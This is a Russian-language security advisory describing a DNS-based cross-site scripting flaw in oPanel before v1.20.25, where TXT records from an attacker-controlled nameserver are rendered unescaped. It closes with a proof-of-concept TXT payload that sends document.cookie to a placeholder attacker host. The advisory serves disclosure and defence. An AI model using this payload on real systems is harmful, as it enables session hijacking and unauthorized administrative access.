
oPanel DNS-основанный межсайтовый скриптинг (XSS) и перехват сессий
В oPanel (версии до v1.20.25) существует уязвимость межсайтового скриптинга (XSS), вызванная некорректной обработкой и очисткой DNS-ответов. Когда панель выполняет DNS-запрос (например, получение информации о домене, проверка распространения DNS или запрос TXT-записей) к управляемому злоумышленником серверу имён, возвращаемые DNS-записи отображаются в веб-интерфейсе без надлежащего HTML-кодирования.
Злоумышленник может воспользоваться этим, настроив подставной DNS-сервер, который отвечает на запросы TXT-записей вредоносной JavaScript-нагрузкой. Когда аутентифицированный пользователь oPanel (например, администратор) просматривает страницу, на которой отображается DNS-ответ, нагрузка выполняется в контексте его сессии браузера.
Успешная эксплуатация позволяет злоумышленнику выполнить произвольный JavaScript в браузере жертвы. Как показано в доказательстве концепции, это может быть использовано для кражи чувствительных аутентификационных cookie (document.cookie), что приводит к полному угону сессии и несанкционированному административному доступу к среде oPanel.
Для эксплуатации требуется, чтобы злоумышленник развернул вредоносный DNS-сервер и HTTP-прослушиватель для сбора украденных данных.
Злоумышленник запускает подставной DNS-сервер на UDP-порту 53, настроенный на ответ на любой запрос TXT нагрузкой XSS.
Вредоносная нагрузка TXT-записи:
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>